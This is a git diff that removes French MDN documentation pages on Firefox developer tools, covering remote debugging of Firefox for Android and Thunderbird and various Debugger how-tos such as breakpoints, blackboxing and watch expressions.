Cela fait un moment qu'il est possible de connecter les outils de développement de Firefox à Firefox pour Android afin de pouvoir déboguer des sites pour mobiles. Cependant, jusqu'à maintenant il s'agissait d'un procédé complexe et prompt à l'erreur. Depuis Firefox 36 le procédé est beaucoup plus simple : en particulier, il n'est plus du tout nécessaire de passer directement par l'outil adb. La connexion se fait maintenant par WebIDE, qui lui s'occupe d'adb.

- -
-

Pour que cela fonctionne, il est nécessaire d'avoir les versions Firefox Desktop 36+ et Firefox pour Android 35+. Si vous avez besoin d'utiliser des versions précédentes, regardez les instructions pour connecter les outils de développement à Firefox pour Android.

-
- -

 

- -

- -

Ce guide est divisé en deux parties : la première partie "Prérequis", décris toutes les opérations qui ne sont requises qu'une seule fois, alors que la seconde partie "Connexion", décrit les étapes qui sont nécessaires à chaque connexion.

- -

Prérequis

- -

Tout d'abord, vous aurez besoin d'avoir :

- -
    -
  • Un ordinateur avec Firefox 36 ou plus récent installé
    • -
  • Un appareil Android capable d'exécuter Firefox pour Android avec Firefox pour Android 35 ou plus récent installé.
    • -
  • Un câble USB pour connecter les deux appareils
    • -
- -

ADB Helper

- -

Votre Firefox Desktop doit également posséder le module complémentaire ADB Helper version 0.7.1 ou plus récent. Ce module devrait s'être installé automatiquement à la première ouverture de WebIDE. Pour vérifier la version, tapez about:addons dans la barre d'adresse du navigateur et ADM devrait être listé.

- -

Si vous n'avez pas ADB Helper version 0.7.1+, sélectionnez " Gérer les composants additionnels " depuis le menu "Projets", et ADB Helper sera listé sous "Composants supplémentaires" :

- -

Cliquez sur "désinstaller", puis sur  "installer", et vous devriez maintenant avoir la dernière version.

- -

Configurer l'appareil Android

- -

Tout d'abord, activez le débogage USB en suivant les étapes2 et 3 de ce lien et uniquement ce lien.

- -

Ensuite, activez le débogage distant dans Firefox pour Android : Ouvrez le navigateur, ouvre le menu et sélectionnez "Options" puis  "Outils de développement" (sur certains appareils il peut être nécessaire de sélectionner "Plus" pour voir "Options"). Maintenant, cochez la case "Débogage distant" :

- -

- -

Le navigateur peut alors afficher une notification vous rappelant de configurer le "port forwarding", ignorez cette notification.

- -

Connexion

- -

Connectez l'appareil Android à l'ordinateur grâce au câble USB, ouvrez WebIDE, et dans le panneau "Environnement", vous verrez un Firefox pour Android dans la catégorie "Périphériques USB" :

- -

- -

Sélectionnez-le. Sur l'appareil Android, le message d'avertissement suivant apparait :

- -

- -

Cliquez sur OK. Maintenant, cliquez sur "Ouvrir une application" dans le menu de WebIDE? Vous verrez alors une liste des onglets ouverts sur l'appareil :

- -

- -

Sélectionnez un onglet pour y attacher les outils de développement :

- -

- -

Maintenant, vous devriez pouvoir utiliser tous les outils de développement de Firefox qui supporte le débogage distant. Voir la page débogage distant pour plus de détails.

diff --git "a/files/fr/outils/d\303\251bogage_distant/index.html" "b/files/fr/outils/d\303\251bogage_distant/index.html" deleted file mode 100644 index bc7965065b..0000000000 --- "a/files/fr/outils/d\303\251bogage_distant/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Débogage distant -slug: Outils/Débogage_distant -tags: - - Outils -translation_of: Tools/Remote_Debugging ---- -
{{ToolsSidebar}}
- -

Il est possible d'utiliser les outils de développement de Firefox de votre ordinateur pour déboguer des sites et des applications web tournant dans d'autres navigateurs ou environnements d'exécution. Les autres navigateurs peuvent être sur le même appareil que les outils ou sur un appareil différent, tel qu'un téléphone connecté en USB.

- -

Les instructions détaillées pour connecter les outils de développement dépendent de l’environnement d'exécution.

- -

Il est possible de connecter les outils de développement aux environnements d'exécution Gecko tels que : Firefox sur ordinateur, Firefox pour Android, et Thunderbird.

- - diff --git "a/files/fr/outils/d\303\251bogage_distant/thunderbird/index.html" "b/files/fr/outils/d\303\251bogage_distant/thunderbird/index.html" deleted file mode 100644 index cf55624731..0000000000 --- "a/files/fr/outils/d\303\251bogage_distant/thunderbird/index.html" +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Débogage distant de Thunderbird -slug: Outils/Débogage_distant/Thunderbird -tags: - - Debug - - Tutorial - - thunderbird -translation_of: Tools/Remote_Debugging/Thunderbird ---- -
{{ToolsSidebar}}

Ce guide décrit comment utiliser le débogage distant pour inspecter et déboguer du code dans Thunderbird.

- -

De nombreux outils de développeent sont compatibles avec Thunderbird en utilisant de mécanisme de connexion à distante de Firefox. Les outils actuellement compatibles sont : La Console Web, l'Inspecteur, le Débogeur, l'Éditeur de Style, Performance, et Réseau. D'autres outils seront disponibles dans le futur.

- -

Configurer Thunderbird

- -

Tout ce qui a besoin d'être fait dans Thunderbird est d'activer le serveur de débogage. Cela peut être fait en utilisant le menu Outils dans la barre d'outils  (alt + Outils) et en sélectionnant Activer le débogage distant. Par défaut, le serveur sera ouvert sur le port 6000. Si vous désirez changer ce port, par exemple pour déboguer de multiples profils, il est nécessaire d'ouvrir l'éditeur de configuration avancé et de changer la préférence devtools.debugger.remote-port.

- -

Configurer Firefox

- -

Firefox agit comme le client et fournit l'interface utilisateur pour contrôler les outils de développement pour Thunderbird. Il est recommandé d'utiliser une version de Firefox et Thunderbird majeure, mais dans certains cas, cela fonctionnera avec d'autres versions.

- -

Pour configurer Firefox, il faut activer l'option "Activer le débogage distant" dans les options des outils de développement. Pour cela, il faut ouvrir la boite à outils, cliquer sur l'icône "Options" button dans la barre d'outils, et cocher "Activer le débogage distant" :

- -

- -

Vous pouvez maintenant ouvrir la page de connections de Firefox en passant par le menu outils :

- -

- -

Un page s'ouvrira alors dans le navigateur, il est possible de l'ajouter aux favoris. Dans le cas ou le port est celui par défaut, les champs seront déjà remplis correctement. Cliquez sur le bouton de connexion pour initialiser la connexion distante. Si vous avez changé le port par défaut, rentrez le port que vous avez choisi dans le champ approprié.

- -

- -

Vous serez ensuite présenté avec une liste d'onglets et de processus distants. Comme la notion d'onglets de Thunderbird n'est pas la même que celle de Firefox, les onglets distants qui sont affichés sont les éléments xul:browser dans Thunderbird. Cela peut être un onglet à contenu, ou le lecteur de message. Dans la plupart des cas cependant, vous voudrez sélectionner "Processus principal" pour déboguer le code de Thunderbird lui-même. Une nouvelle fenêtre s'ouvre alors avec les outils de développement connectés à l'instance de Thunderbird.

- -

- -

Utiliser les outils de développement

- -

L'utilisation des outils de développement est explicite. Si vous avez des problèmes avec un outil en particulier, jetez un oeil à la documentation des outils de développement. Du faite de la nature distante de la connexion, il peut y avoir quelques menues différences. Certains outils peuvent ne pas être disponibles, et il est également possible que la performance ne soit pas la même. Par exemple utiliser l'outil Débogeur prend pas mal de temps à charger, car les fichiers doivent être transférés par une connexion réseau interne.

- -

Résolution des problèmes

- -

Si vous rencontrez une erreur, la première chose à faire est de vérifier que les numéros de version de Firefox et Thunderbird sont les mêmes : si vous utilisez Firefox 24, vous devriez utiliser également Thunderbird 24. Ensuite, il est important de savoir si le problème vient des outils de développement ou du code distant dans Thunderbird. Pour vérifier cela, essayez de reproduire le problème en utilisant uniquement Firefox. Par exemple si vous vous rendez compte que vous ne pouvez pas modifier un attribut dans l'Inspecteur, essayez de changer un attribut dans Firefox. SI vous ne pouvez pas le reproduire, déclarez un bug dans le produit Thunderbird, sinon, déclarez un bug dans les outils de développement de Firefox.

diff --git "a/files/fr/outils/d\303\251bogueur/comment/acc\303\251der_au_d\303\251bogage_depuis_un_module_compl\303\240mentaire/index.html" "b/files/fr/outils/d\303\251bogueur/comment/acc\303\251der_au_d\303\251bogage_depuis_un_module_compl\303\240mentaire/index.html" deleted file mode 100644 index 5c14593f5f..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/acc\303\251der_au_d\303\251bogage_depuis_un_module_compl\303\240mentaire/index.html" +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Accéder au débogage depuis un module complémentaire -slug: Outils/Débogueur/Comment/Accéder_au_débogage_depuis_un_module_complàmentaire -translation_of: Tools/Debugger/How_to/Access_debugging_in_add-ons ---- -
{{ToolsSidebar}}
-

Il est prévu de déprécier l'utilisation des techniques décrites dans ce document. Merci de ne pas développer de nouveaux modules complémentaires en utilisant ces techniques.

-
- -

Les objets suivant sont accessibles dans le contexte de chrome://browser/content/debugger.xul (ou, en version beta 23,, chrome://browser/content/devtools/debugger.xul) :

- -
    -
  • window.addEventListener("Debugger:EditorLoaded") - Appelé quand le panneau des scripts accessible en lecture seule est chargé
    • -
  • window.addEventListener("Debugger:EditorUnloaded")
    • -
- -

Fichiers en relation :

- -
    -
  • chrome://browser/content/devtools/debugger-controller.js
    • -
  • chrome://browser/content/devtools/debugger-toolbar.js
    • -
  • chrome://browser/content/devtools/debugger-view.js
    • -
  • chrome://browser/content/devtools/debugger-panes.js
    • -
- -

Malheureusement, il n'y a pas encore d'API pour évaluer les expressions dans la portée du débogueur, ou pour mettre en surbrillance les éléments de la page qui sont référencés comme variables dans la portée déboguée. C'est actuellement un travail en cours, voir le bug 653545.

diff --git "a/files/fr/outils/d\303\251bogueur/comment/afficher_en_surbrillance_et_inspecter_le_dom/index.html" "b/files/fr/outils/d\303\251bogueur/comment/afficher_en_surbrillance_et_inspecter_le_dom/index.html" deleted file mode 100644 index 4c0299205c..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/afficher_en_surbrillance_et_inspecter_le_dom/index.html" +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Afficher en surbrillance et inspecter les nœuds DOM -slug: Outils/Débogueur/Comment/Afficher_en_surbrillance_et_inspecter_le_DOM -translation_of: Tools/Debugger/How_to/Highlight_and_inspect_DOM_nodes ---- -
{{ToolsSidebar}}
-

Cette fonctionnalité n'est pas encore supportée par le nouveau Débogueur. Si vous avez besoin de l'utiliser, il faut changer la préférence "devtools.debugger.new-debugger-frontend" dans about:config (page interne du navigateur)

- -

La documentation de l'ancienne version du Débogueur est disponible sur la page Débogueur (avant Firefox 52).

-
- -

Si vous survolez un nœud DOM dans le panneau des variables, il sera affiché en surbrillance dans la page :

- -

De plus, une icône en forme de cible apparaitra à côté de la variable. Cliquer sur cette icône, ouvrira l'Inspecteur avec l'élément DOM sélectionné.

- -

{{EmbedYouTube("0JWxXp2Qql8")}}

diff --git "a/files/fr/outils/d\303\251bogueur/comment/ajouter_un_point_d_arr\303\252t/index.html" "b/files/fr/outils/d\303\251bogueur/comment/ajouter_un_point_d_arr\303\252t/index.html" deleted file mode 100644 index 5f0ac95129..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/ajouter_un_point_d_arr\303\252t/index.html" +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Ajouter un point d'arrêt -slug: Outils/Débogueur/Comment/Ajouter_un_point_d_arrêt -tags: - - JavaScript - - Tools -translation_of: Tools/Debugger/How_to/Set_a_breakpoint ---- -
{{ToolsSidebar}}
- -

Il est possible de placer un point d'arrêt de trois façons différentes :

- -
    -
  • Dans le panneau des sources, cliquer sur le numéro de la ligne où l'arrêt est désiré.
    • -
  • Dans le panneau des sources, faire un clic droit sur la ligne où l'arrêt est désiré pour ouvrir le menu contextuel puis cliquer sur "Ajouter un point d'arrêt"
    • -
  • Dans le panneau des sources, mettre la ligne ciblée en surbrillance et appuyer sur Ctrl+B (Windows/Linux) ou Command+B (Mac OS X)
    • -
- -

Lors de l'ouverture du menu contextuel, il est possible de placer soit un point d'arrêt normal qui arrêtera l’exécution, ou bien un point d'arrêt conditionnel qui lui n’arrêtera le code que si les conditions définies sont satisfaites.

- -

- -

Si le point d'arrêt choisi est conditionnel, il sera possible de spécifier sa condition :

- -

- -

Chaque point d'arrêt est affiché à deux endroits dans le débogueur :

- - - -

À partir de Firefox 67, il est possible d'ajouter un point d'arrêt à plusieurs endroits d'une ligne complexe (ex: une ligne avec plusieurs appels de fonction). Par exemple, dans la ligne ci-dessous, il y aura trois endroits possibles pour le point d'arrêt: au point ou la variable est assignée, au point our l'appel à parse est fait, ou à l'appel de getItem.

- -
tasks = JSON.parse(localStorage.getItem('todoList'));
- -

Les points d'arrêt possible sont affichés par des indicateurs. L'image suivante montre une l'image suivante affiche la ligne précédente dans le Débogueur. Lors d'un clic sur la ligne, trois indicateurs apparaissent. Par défaut le point d'arrêt est mis sur la première colonne, dans l'image, la seconde colonne à été choisie, ce qui est confirmé par le panneau de droite, la section "Breakpoints" affichant que le point est sur parse.

- -

- -

Ces points d'arrêt permettent de s’arrêter à plusieurs endroits sur la même ligne, dans l'exemple précédent, il aurait été possible de s’arrêter sur un, deux, ou même chaque point.

diff --git "a/files/fr/outils/d\303\251bogueur/comment/ajouter_un_point_d_arr\303\252t_conditionnel/index.html" "b/files/fr/outils/d\303\251bogueur/comment/ajouter_un_point_d_arr\303\252t_conditionnel/index.html" deleted file mode 100644 index b78dfa5a8e..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/ajouter_un_point_d_arr\303\252t_conditionnel/index.html" +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Ajouter un point d’arrêt conditionnel -slug: Outils/Débogueur/Comment/Ajouter_un_point_d_arrêt_conditionnel -translation_of: Tools/Debugger/How_to/Set_a_conditional_breakpoint ---- -
{{ToolsSidebar}}
- -

Un point d'arrêt normal est juste associé à une ligne : lorsque le programme arrive à cette ligne, le Débogueur s'arrête. Un point d'arrêt conditionnel possède en plus une condition associée représentée par une expression. Dans ce cas, lorsque le programme arrive à la ligne du point d'arrêt, le Débogueur ne s'arrêtera que si l'expression est évaluée à true.

- -

{{EmbedYouTube("pVPlMhfrMwM")}}

- -

Pour ajouter un point d'arrêt conditionnel, il faut activer le menu contextuel (clic droit) en étant sur la ligne voulue dans le panneau des sources et sélectionner « Ajouter un point d'arrêt conditionnel ». Il faut alors entrer la condition dans la pop-up qui apparait puis appuyer sur Entrée pour terminer.

- -

les points d'arrêt conditionnels sont représentés par une flèche orange superposée au numéro de ligne.

- -

Le menu contextuel (clic droit) de n'importe quel point d'arrêt (conditionnel ou non) possède une option "Modifier le point d'arrêt". Il est possible d'utiliser cette option pour modifier ou ajouter une condition.

diff --git "a/files/fr/outils/d\303\251bogueur/comment/breaking_on_exceptions/index.html" "b/files/fr/outils/d\303\251bogueur/comment/breaking_on_exceptions/index.html" deleted file mode 100644 index b009f06df0..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/breaking_on_exceptions/index.html" +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: S'arrêter sur les exceptions -slug: Outils/Débogueur/Comment/Breaking_on_exceptions -translation_of: Tools/Debugger/How_to/Breaking_on_exceptions ---- -
{{ToolsSidebar}}
- -

Firefox version 64

- -
Pour que le Débogueur s'arrête sur les exceptions, il suffit de cliquer sur une de ces cases à cocher dans la Liste des points d'arrêt :
- -
 
- -
Screen shot from 64.0+build3-0ubuntu0.16.04.1
- -

Versions antérieures

- -

Pour que le Débogueur s'arrête sur les exceptions, Il faut cliquer sur ce bouton : dans la barre d'outils.

- -

{{EmbedYouTube("UWIO_UM827k")}}

- -

Le bouton à trois états possibles, cliquer sur celui-ci passe d'un état au suivant.

- -

: ne s'arrête sur aucune exception. C'est l'état par défaut.

- -

: ne s'arrête que les exceptions qui ne sont pas attrapées.

- -

: s'arrête sur toutes les exceptions.

diff --git "a/files/fr/outils/d\303\251bogueur/comment/d\303\251boguer_des_sources_\303\251valu\303\251es/index.html" "b/files/fr/outils/d\303\251bogueur/comment/d\303\251boguer_des_sources_\303\251valu\303\251es/index.html" deleted file mode 100644 index e0c305f21a..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/d\303\251boguer_des_sources_\303\251valu\303\251es/index.html" +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Déboguer des sources évaluées -slug: Outils/Débogueur/Comment/Déboguer_des_sources_évaluées -translation_of: Tools/Debugger/How_to/Debug_eval_sources ---- -
{{ToolsSidebar}}
- -

Il est possible de déboguer du code JavaScript qui à été évalué dynamiquement, soit en étant passé sous forme de chaine de caractère à la fonction eval(), soit en étant passé sous forme de chaine caractère au constructeur d'une Function.

- -

Dans la vidéo ci-dessous, un page contenant le code source suivant est chargée :

- -
var script = `function foo() {
-               console.log('called foo');
-             }
-             //# sourceURL=my-foo.js`;
-
-eval(script);
-
-var button = document.getElementById("foo");
-button.addEventListener("click", foo, false);
-
- -

Cela nome le script "mon-foo.js"en utilisant l'instruction //# sourceURL. Cette source est alors listée dans le panneau de la liste des sources, et peut être ouverte comme n'importe quelle source.

- -

{{EmbedYouTube("nFm8F8Anmic")}}

- -

Le nom du script apparaitra également dans la pile d'exécution dans la Console Web.

- -

Le Débogueur s’arrêtera également aux expressions debugger; dans les sources évaluées anonymes

diff --git "a/files/fr/outils/d\303\251bogueur/comment/d\303\251sactiver_des_points_d_arr\303\252ts/index.html" "b/files/fr/outils/d\303\251bogueur/comment/d\303\251sactiver_des_points_d_arr\303\252ts/index.html" deleted file mode 100644 index 5ca12ea619..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/d\303\251sactiver_des_points_d_arr\303\252ts/index.html" +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Désactiver des point d'arrêts -slug: Outils/Débogueur/Comment/Désactiver_des_points_d_arrêts -translation_of: Tools/Debugger/How_to/Disable_breakpoints ---- -
{{ToolsSidebar}}
- -

Pour désactiver un point d'arrêt spécifique, il suffit de décocher la case à cocher à côté du point d'arrêt dans la liste des points d'arrêt.

- -

Pour désactiver tous les points d'arrêts, il suffit cliquer sur cette icône : dans la barre d'outils.

- -

{{EmbedYouTube("ULoZ70XPd90")}}

- -

Après avoir désactivé un point d'arrêt, sa couleur sera plus claire avec une bordure foncée. Par exemple :

- -

diff --git "a/files/fr/outils/d\303\251bogueur/comment/examiner,_modifier,_et_espionner_des_variables/index.html" "b/files/fr/outils/d\303\251bogueur/comment/examiner,_modifier,_et_espionner_des_variables/index.html" deleted file mode 100644 index ff534ba3ae..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/examiner,_modifier,_et_espionner_des_variables/index.html" +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 'Examiner, modifier, et espionner des variables' -slug: 'Outils/Débogueur/Comment/Examiner,_modifier,_et_espionner_des_variables' -translation_of: Tools/Debugger/How_to/Set_Watch_Expressions -translation_of_original: 'Tools/Debugger/How_to/Examine,_modify,_and_watch_variables' ---- -
{{ToolsSidebar}}
-

Cette fonctionnalité n'est pas encore supportée par le nouveau Débogueur. Si vous avez besoin de l'utiliser, il faut changer la préférence "devtools.debugger.new-debugger-frontend" dans about:config (page interne du navigateur)

- -

La documentation de l'ancienne version du Débogueur est disponible sur la page Débogueur (avant Firefox 52).

-
- -

Examiner des variables

- -

Quand le code s'est arrêté sur un point d'arrêt, il est possible d'examiner ses variables grâce au panneau des variables du débogueur :

- -

- -

Les variables sont listées et triées selon leur portée : Dans la fonction ci-dessus, les variables intégrées arguments et this ainsi que les variables locales comme user et greeting seront visibles. Dans la portée globale, les variables globales qui ont été définies (greetme) et les variables globales intégrées (localStorage, console…) seront visibles.

- -

Chaque objet peut être étendu pour voir son contenu en utilisant l'icône en forme de triangle.

- -

Survoler le nom d'une variable affiche une infobulle qui fournit des informations complémentaires sur la variable. Se référer à Object.defineProperty() pour des détails sur la signification de ces termes.

- -

Pour voir les propriétés des objets, il est possible d'utiliser le filtre de script avec le préfixe spécial "*" ou en utilisant la boite de filtrage des variables si vous l'avez activée dans les options du débogueur.

- -

{{EmbedYouTube("dxCvnixpM_Q")}}

- -

Si une variable existe dans la source, mais a été enlevé par le moteur JavaScript à la suite d'une optimisation. Alors cette variable est présente dans le panneau, mais sa valeur est égale à (optimized away),  et n'est pas modifiable. Dans la capture d’écran ci-dessous, la variable upvar a été optimisée :

- -

- -

Modifier des variables

- -

Quand le code s'est arrêté à un point d'arrêt, il est possible de modifier les variables dans le panneau des variables du débogueur. Il suffit de cliquer sur la valeur actuelle d'une variable pour pouvoir la réécrire :

- -

{{EmbedYouTube("FKG-jkvSpq8")}}

- -

Espionner une expression

- -

Les expressions espionnes sont des expressions qui sont évaluées à chaque fois que l'exécution s'arrête. Il est alors possible d'examiner le résultat de ces expressions. C'est utile dans la mesure où cela permet d'inspecter des éléments invariants dans votre code que vous savez être présents, mais qui ne sont pas nécessairement prêts pour une inspection.

- -

Pour ajouter une expression espionne, il faut cliquer sur la boite "ajouter une expression espionne" puis entrer l'expression JavaScript que vous souhaitez surveiller en parcourant votre code.

- -

Il ne reste plus qu'à faire tourner votre code. L'expression espionne ne fait rien tant que le code n'est pas arrêté à un point d'arrêt. Quand le code est arrêté, les expressions espionnes sont activées et leur valeur apparaitra alors :

- -

{{EmbedYouTube("CwGU-5wKRw0")}}

- -

À chaque changement de la valeur de l'expression espionne, sa boite sera brièvement affichée en surbrillance jaune. Il est possible de supprimer une expression espionne en cliquant sur l'icône en forme de croix à côté. Bien sûr, il est également possible d'avoir plus d'une seule expression espionne à la fois.

diff --git "a/files/fr/outils/d\303\251bogueur/comment/formater_et_indenter_un_fichier_minifi\303\251/index.html" "b/files/fr/outils/d\303\251bogueur/comment/formater_et_indenter_un_fichier_minifi\303\251/index.html" deleted file mode 100644 index 4ba2ddaf91..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/formater_et_indenter_un_fichier_minifi\303\251/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Formater et indenter un fichier minifié -slug: Outils/Débogueur/Comment/Formater_et_indenter_un_fichier_minifié -translation_of: Tools/Debugger/How_to/Pretty-print_a_minified_file ---- -
{{ToolsSidebar}}
- -

Pour formater et indenter un fichier qui a été minifié, il faut cliquer sur cette icône : dans le panneau des source. Le Débogueur formatera la source et l'affichera dans un nouveau fichier avec un nom au format : "{ }[nom-original]".

- -

- -

Après un clic sur l'icone, le code source ressemble à ceci:

- - - -

- -
-

Note: Pour mettre en forme du code JavaScript inline, il suffit de double cliquer sur le code dans panneau de l'inspecteur.

-
diff --git "a/files/fr/outils/d\303\251bogueur/comment/index.html" "b/files/fr/outils/d\303\251bogueur/comment/index.html" deleted file mode 100644 index 4b9f36e8fe..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/index.html" +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Comment faire… -slug: Outils/Débogueur/Comment -tags: - - TopicStub -translation_of: Tools/Debugger/How_to ---- -
{{ToolsSidebar}}
- -

Ces articles décrivent comment utiliser le débogueur.

- -

{{ ListSubpages () }}

diff --git "a/files/fr/outils/d\303\251bogueur/comment/mettre_une_source_dans_une_bo\303\256te_noire/index.html" "b/files/fr/outils/d\303\251bogueur/comment/mettre_une_source_dans_une_bo\303\256te_noire/index.html" deleted file mode 100644 index 2af7f19958..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/mettre_une_source_dans_une_bo\303\256te_noire/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Mettre une source dans une boîte noire -slug: Outils/Débogueur/Comment/Mettre_une_source_dans_une_boîte_noire -translation_of: Tools/Debugger/How_to/Ignore_a_source ---- -
{{ToolsSidebar}}
- -

Dans le développement web moderne, il est courant de s'appuyer sur des bibliothèques tels que jQuery, Ember, ou Angular, et 99% du temps on peut supposer qu'elles fonctionnent parfaitement. On ne se soucie alors pas de l'implémentation interne de ces librairies : on les considère comme des boites noires. Cependant l'abstraction des bibliothèques « cède » lors des sessions de débogage lorsqu'on est forcé de passer par des piles d'appels utilisant la bibliothèque pour accéder à son propre code. Avec le système de boite noire, il est possible d'indiquer au débogueur d'ignorer les détails des sources sélectionnées.

- -

Il est possible de mettre/enlever une source dans une boîte noire en sélectionnant la source dans le panneau de la liste des sources puis en cliquant sur l'icône en forme d'œil en bas à gauche :

- -

- -

Il est possible de placer plusieurs fichiers sources dans des boîtes noires en ouvrant la Barre de développement  et utilisant la commande   dbg blackbox :

- -

- -

Quand une source est mise dans une boîte noire :

- -
    -
  • Tous les points d'arrêt concernant ce(s) fichier(s) sont désactivés.
    • -
  • Lorsque l'option « Pause sur les exceptions » dans les options du Débogueur est activée, le débogueur ne s'arrêtera pas lorsqu'une exception est levée par une source dans une boite noire. Dans ce cas, le débogueur attendra que la pile arrive à une frame dans une source qui n'est pas dans une boîte noire.
    • -
  • Lors d'un débogage pas à pas, le débogueur passera sans s'arrêter dans une source mis en boîte noire.
    • -
diff --git "a/files/fr/outils/d\303\251bogueur/comment/ouvrir_le_d\303\251bogueur/index.html" "b/files/fr/outils/d\303\251bogueur/comment/ouvrir_le_d\303\251bogueur/index.html" deleted file mode 100644 index e56cd0a53c..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/ouvrir_le_d\303\251bogueur/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Ouvrir le Débogueur -slug: Outils/Débogueur/Comment/Ouvrir_le_débogueur -translation_of: Tools/Debugger/How_to/Open_the_debugger ---- -
{{ToolsSidebar}}
- -

Il y a deux façons d'ouvrir le Débogueur :

- -
    -
  • Sélectionner "Débogueur" dans le menu Développement qui est un sous-menu du menu Firefox.
    • -
  • -

    Utiliser le raccourci Ctrl+Maj+S sur Windows et Linux, et Cmd+Option+S sur Mac

    - -
    Note: Ce raccourci clavier ne fonctionne plus dans Firefox 66 ou plus. Il est cependant possible d'utiliser Ctrl + Maj + I (Windows/Linux), et Cmd + Opt + I (MacOS), ou F12 pour ouvrir la boite à outils et sélectionner le Débogueur.
    -
    • -
  • Utiliser le bouton menu ( new fx menu ), sélectionner "Développeur", puis "Débogueur".
    • -
- -

{{EmbedYouTube("yI5SlVQiZtI")}}

diff --git "a/files/fr/outils/d\303\251bogueur/comment/parcourir_le_code/index.html" "b/files/fr/outils/d\303\251bogueur/comment/parcourir_le_code/index.html" deleted file mode 100644 index 9e3d8a3ae7..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/parcourir_le_code/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Parcourir le code -slug: Outils/Débogueur/Comment/Parcourir_le_code -translation_of: Tools/Debugger/How_to/Step_through_code ---- -
{{ToolsSidebar}}
- -

Quand le code s'arrête sur un point d'arrêt, il est possible de le parcourir pas à pas en utilisant les quatre boutons de la barre d'outils :

- -

- -

De gauche à droite :

- -
    -
  • Reprendre : exécute le code jusqu'au prochain point d'arrêt
    • -
  • Passer la fonction : avance jusqu'à ligne suivante dans la même fonction
    • -
  • Entrer dans la fonction : avance jusqu'à la ligne suivante, sauf s'il y a un appel de fonction dans ce cas, le débogueur entre dans la fonction appelée
    • -
  • Sortir de la fonction : avance jusqu’à la fin de la fonction actuelle. Dans ce cas, le Débogueur reviens à l’exécution de la fonction appelante.
    • -
- -

{{EmbedYouTube("RQBwEk0-xe0")}}

- -

Lors d'une pause, il est possible d'appuyer sur la touche Échap afind d'ouvrir la Console pour avoir plus d'informations sur les erreurs et les variables :

- -

diff --git "a/files/fr/outils/d\303\251bogueur/comment/s_arr\303\252ter_sur_un_\303\251v\303\250nement_dom/index.html" "b/files/fr/outils/d\303\251bogueur/comment/s_arr\303\252ter_sur_un_\303\251v\303\250nement_dom/index.html" deleted file mode 100644 index 5ab981337b..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/s_arr\303\252ter_sur_un_\303\251v\303\250nement_dom/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: S’arrêter sur un évènement DOM -slug: Outils/Débogueur/Comment/S_arrêter_sur_un_évènement_DOM -translation_of: Tools/Debugger/Break_on_DOM_mutation -translation_of_original: Tools/Debugger/How_to/Break_on_a_DOM_event ---- -
{{ToolsSidebar}}
- -
-

Cette fonctionnalité n'est pas encore supportée par le nouveau Débogueur.

- -

La documentation de l'ancienne version du Débogueur est disponible sur la page Débogueur (avant Firefox 52).

-
- -

Si vous écoutez un évènement DOM, Il est possible d'indiquer au débogueur de s'arrêter lorsque l'événement est lancé, sans avoir besoin de chercher l'écouteur et de mettre un point d'arrêt manuellement.

- -

Il faut d’abord cliquer sur le bouton "Développer les panneaux" de la barre d'outils (juste à gauche des options). Cela ouvre le panneau partagé par les variables et les événements. Il faut ensuite cliquer sur l'onglet « Événements » cela affiche le panneau des événements. Ce panneau liste tout les évènements auxquels vous avez assigné un écouteur :

- -

- -

Il n'y a plus qu'a cocher à la case à coté de l'évènement ou vous désirez que votre code s’arrête.

- -

Quand l'évènement est lancé, le code s’arrêtera au début de l'écouteur.

- -

{{EmbedYouTube("f-tbR8kj0K0")}}

diff --git "a/files/fr/outils/d\303\251bogueur/comment/search/index.html" "b/files/fr/outils/d\303\251bogueur/comment/search/index.html" deleted file mode 100644 index 3db07016dc..0000000000 --- "a/files/fr/outils/d\303\251bogueur/comment/search/index.html" +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Rechercher -slug: Outils/Débogueur/Comment/Search -translation_of: Tools/Debugger/How_to/Search ---- -
{{ToolsSidebar}}
- -

Rechercher des fichiers

- -

Pour rechercher un fichier en particulier, il faut utiliser le raccourci clavier Ctrl + P (ou Cmd + P sur Mac) puis écrire les termes de recherche. Le panneau des sources affichera une liste des fichiers. Il est possible d'utiliser les flèches haut et bas pour se déplacer dans la liste. La touche Entrée ouvre le fichier sélectionné :

- -

{{EmbedYouTube("xXsfYx0THWg")}}

- -

Rechercher dans un fichier

- -

Pour chercher dans le fichier actuellement chargé dans le panneau des sources il faut appuyer sur Ctrl + F (ou Cmd + F sur Mac) pendant que le panneau est sélectionné. Le Débogueur affichera alors le nombre de résultats et les surlignera dans le code :

- -

- -

Rechercher dans tous fichiers

- -

Il est également possible de rechercher dans une chaine dans tous les fichiers du projet actuel. Il suffit pour cela de presser Ctrl + Maj + F (Windows et Linux) or Cmd + Maj + F (macOS) puis d'entrer la chaine de caractères recherchée.

- -

- -

Si la chaine existe dans un des fichiers du projet, la recherche retournera une liste triée par fichier de par ligne.

- -

- -

Cliquer sur un élément dans la liste emmène directement dans le fichier à la ligne correspondante.

